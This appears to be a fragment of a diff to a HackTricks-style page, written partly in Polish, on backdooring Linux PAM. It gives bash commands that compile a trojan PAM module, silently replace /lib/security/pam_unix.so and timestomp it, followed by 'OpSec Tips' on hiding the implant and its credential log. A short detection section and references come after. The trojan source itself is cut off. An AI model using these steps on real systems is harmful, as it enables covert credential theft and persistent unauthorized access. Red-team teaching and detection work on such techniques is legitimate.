+} +``` +Kompiluj i cicho zastąp: +```bash +gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam +mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak +mv pam_unix.so /lib/security/pam_unix.so +chmod 644 /lib/security/pam_unix.so # keep original perms +touch -r /bin/ls /lib/security/pam_unix.so # timestomp +``` +### OpSec Tips +1. **Atomic overwrite** – zapisz do pliku tymczasowego i `mv` do miejsca docelowego, aby uniknąć częściowo zapisanych bibliotek, które mogłyby zablokować SSH. +2. Umiejscowienie plików dziennika, takich jak `/usr/bin/.dbus.log`, łączy się z legalnymi artefaktami pulpitu. +3. Utrzymuj identyczne eksporty symboli (`pam_sm_setcred` itp.), aby uniknąć nieprawidłowego działania PAM. + +### Detection +* Porównaj MD5/SHA256 `pam_unix.so` z pakietem dystrybucji. +* Sprawdź, czy istnieją pliki z uprawnieniami do zapisu dla wszystkich lub nietypowym właścicielem w `/lib/security/`. +* Reguła `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`. + +### References - [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) {{#include ../../banners/hacktricks-training.md}}